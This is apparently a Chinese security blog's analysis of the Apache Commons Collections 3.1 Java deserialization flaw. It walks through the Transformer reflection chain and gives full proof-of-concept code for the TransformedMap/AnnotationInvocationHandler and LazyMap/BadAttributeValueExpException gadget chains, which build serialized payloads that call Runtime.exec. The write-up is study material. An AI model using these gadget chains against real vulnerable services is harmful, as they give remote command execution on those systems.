Apache-Commons-Collections3.1反序列化漏洞分析

Apache Commons是Apache一个开源的通用项目

Commons的目的是提供可重用的、开源的Java代码

Commons由三部分组成:Proper(一些已发布的项目)、Sandbox(一些正在开发的项目)和Dormant(一些刚启动或者已经停止维护的项目)

环境搭建

在IDEA新建Maven项目

1
File -> New -> Project -> Maven

然后修改pom.xml为自己想要下载的项目和版本(漏洞版本:Apache-Commons-Collections<=3.1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>Apache-Commons-Collections</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

</project>

随后下载

image-20210224235045585

反射链

重要的接口:Transformer

org.apache.commons.collections.Transformer是Apache-Commons-Collections反序列化中一个重要的接口,漏洞反射链中的多个关键类都实现了该接口

1
2
3
public interface Transformer {
public Object transform(Object input);
}

命令执行的最终类:InvokerTransformer

Apache-Commons-Collections反序列化的终点是在org.apache.commons.collections.functors.InvokerTransformer中,它实现了Serializable和上面的Transformer接口,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
//省略....
}
}

通过InvokerTransformer类的transform函数可以调用传入的对象的方法,而其中的iMethodName方法名、iParamTypes参数类型和iArgs传入参数是由该类的构造函数所确定

故只要能够控制实例化该对象的参数和transform函数的参数即可实现RCE,如下

1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
public static void main(String[] args){
String cmd = "calc";
InvokerTransformer transformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{cmd}
);
transformer.transform(Runtime.getRuntime());
}
}

但正常情况下是不能直接调用transform方法的,需要再找一找能够调用该类的transform方法的类

调用transform方法的类:ChainedTransformer

来到org.apache.commons.collections.functors.ChainedTransformer类,该类也实现了SerializableTransformer接口,关键代码如下

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

该类的transform方法能够循环调用iTransformers中所有类的transform方法,并将其执行结果作为参数带入下一个循环。而iTransformers来自该类构造函数,即实现了Transformer接口的类数组

通过ChainedTransformer类来RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
public static void main(String[] args){
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 执行对象转换操作
transformedChain.transform(null);
}

}

可以看到里面又多出了一个类ConstantTransformer,该类来自org.apache.commons.collections.functors.ConstantTransformer

关键代码如下

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

结合上面ChainedTransformer类的关键代码,以及RCE的代码

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

不难看出

  • ConstantTransformer类的作用就是在第一次循环中循环将Runtime传入后面的循环
  • 第二次循环就会通过反射调用getMethod,然后再次反射获取到Runtime.getRuntime()
  • 第三次循环就会反射调用invoke,然后执行Runtime.getRuntime(),获取到Runtime实例化对象
  • 第四次循环就会反射调用Runtime对象中的exec方法,完成命令执行

反射链构造完成,那么接下来就是寻找触发ChainsedTransformerTransform方法的地方了

利用链1:TransformedMap

前置知识

先补充一下map接口的知识(来自这里

1
2
3
4
5
6
Map是java中的接口,Map.Entry是Map的一个内部接口。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合;
entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。
接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改

再记一下自己debug jar包中源文件的方式(大佬请跳过)

菜🐔做法,没去搜具体怎么解决read only,自己试的,如果有更好的做法欢迎指正

因为jar包中的文件都是read only,故不能直接修改其中的代码来修改调试,但我们可以直接在项目文件的目录复制一个同样的文件过来(package语句会报错,但不影响),这时自己对jar包原文件的引用就会被指向同目录的复制文件,此时再修改复制文件的代码即可

org.apache.commons.collections.map.TransformedMap,直接复制过来即可

image-20210226073226558

TransformedMap

接下来找到的是org.apache.commons.collections.map.TransformedMap,实例化对象的代码如下

1
2
3
4
5
6
7
8
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

该类的构造方法为私有,故只能通过静态方法decorate来返回实例化对象

它还有几个重要方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

当调用put时就会执行transformKeytransformValue,当我们传入valueTransformer的值为ChianedTransformer就能触发利用链(valueTransformer在传入时可控)

函数调用链

1
decorate -> TransformedMap -> put -> transformKey -> transformValue

此外还有一种方式,就是通过setValue来传入反射链,因为TransformedMap对象在被使用setValue时也会调用到valueTransformertransform方法,相关代码如下

1
2
3
4
5
6
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected boolean isSetValueChecking() {
return (valueTransformer != null);
}

函数调用链

1
decorate -> TransformedMap -> isSetValueChecking -> checkSetValue

利用TransformedMap命令执行示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Exec {
public static void main(String[] args) {
String cmd = "calc";
//反射链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("test", "test");

// 利用静态方法decorate创建含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

//transformedMap.put("test", "test");// 执行put也会触发transform

// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
//setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}

System.out.println(transformedMap);
}
}

但目前的利用链仍然需要我们调用setValueput,我们需要找到一个类能够自动触发的类

AnnotationInvocationHandler

java自带类AnnotationInvocationHandler重写了readObject,它调用时会先将map转为Map.entry,然后执行setvalue

那我们就可以在其反序列化的时候触发RCE了

因为 sun.reflect.annotation.AnnotationInvocationHandler 是一个内部 API 专用的类,在外部我们无法通过类名创建出 AnnotationInvocationHandler 类实例,所以我们需要通过反射的方式创建出 AnnotationInvocationHandler 对象

最终POC(POC没有自己写,转自这里)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

/**
* Creator: yz
* Date: 2019/12/16
*/
public class Main {

public static void main(String[] args) {
String cmd = "calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 创建Map对象
Map map = new HashMap();
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// // 遍历Map元素,并调用setValue方法
// for (Object obj : transformedMap.entrySet()) {
// Map.Entry entry = (Map.Entry) obj;
//
// // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
// entry.setValue("test");
// }
//
//// transformedMap.put("v1", "v2");// 执行put也会触发transform

try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

// 设置构造方法的访问权限
constructor.setAccessible(true);

// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);

// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();

// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);

// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();

// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();

// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);

// 模拟远程的反序列化过程
in.readObject();

// 关闭ObjectInputStream输入流
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}

}

ysoserial的payloads库里还有LazyMapPriorityQueueBadAttributeValueExpExceptionHashSetHashtable这几个其他调用链的POC

但这些POC只适用于JKD版本小于1.8,在JKD 1.8版本中对AnnotationInvocationHandler类的setValue进行了修改,所以有了下面的那条利用链

利用链2:LazyMap(适用于JDK 1.8)

LazyMap

看到org.apache.commons.collections.map.LazyMap

该类和TransformedMap类似,同样需要通过decorate来实例化对象,也都实现了Map接口

1
2
3
4
5
6
7
8
9
10
11
12
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}


protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

它的get方法会判断是否找到了key的键值,如果没有就会调用factory.transform(key)Factory为传入时的可控参数

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

但又如何自动调用get方法呢,跟进到org.apache.commons.collections.keyvalue.TiedMapEntry

1
2
3
4
5
6
7
8
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}

keymap可控,我们可以通过getValue去触发map.get(key)

那最后再找一下重写过readObject能够自动触发toString方法的类,即可完成整个攻击链

BadAttributeValueExpException

找到javax.management.BadAttributeValueExpException,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

只要精心构造一下传入的ois(即TiedMapEntry)即可跳入第三个if,触发toString

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
return val;
}

public static void main(String[] args) throws Exception {
BadAttributeValueExpException calc = getObject("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
}
}


攻击链流程

TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.entrySet().iterator().next().setValue()
TransformedMap.transform()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

参考

https://xz.aliyun.com/t/8500#toc-0

https://www.wangan.com/docs/100

评论